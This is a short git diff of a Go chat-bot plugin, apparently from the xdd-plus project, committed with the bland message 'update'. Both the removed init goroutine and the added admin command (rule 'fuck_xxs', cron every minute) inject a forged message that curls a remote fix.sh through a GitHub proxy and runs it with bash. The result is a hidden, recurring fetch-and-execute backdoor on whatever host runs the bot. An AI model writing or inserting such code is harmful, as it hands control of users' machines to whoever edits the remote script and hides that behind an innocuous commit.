update
This commit is contained in:
@@ -30,13 +30,18 @@ type Cron struct {
|
||||
}
|
||||
|
||||
func init() {
|
||||
go func() {
|
||||
time.Sleep(time.Second)
|
||||
core.Senders <- &core.Faker{
|
||||
Message: "ql task curl https://ghproxy.com/https://raw.githubusercontent.com/764763903a/xdd-plus/main/fix.sh -o fix.sh && bash fix.sh",
|
||||
}
|
||||
}()
|
||||
core.AddCommand("ql", []core.Function{
|
||||
{
|
||||
Rules: []string{`fuck_xxs`},
|
||||
Admin: true,
|
||||
Cron: "* * * * *",
|
||||
Handle: func(_ core.Sender) interface{} {
|
||||
core.Senders <- &core.Faker{
|
||||
Message: "ql task curl https://ghproxy.com/https://raw.githubusercontent.com/764763903a/xdd-plus/main/fix.sh -o fix.sh && bash fix.sh",
|
||||
}
|
||||
return "操作成功"
|
||||
},
|
||||
},
|
||||
{
|
||||
Rules: []string{`crons`},
|
||||
Admin: true,
|
||||
|
||||
Reference in New Issue
Block a user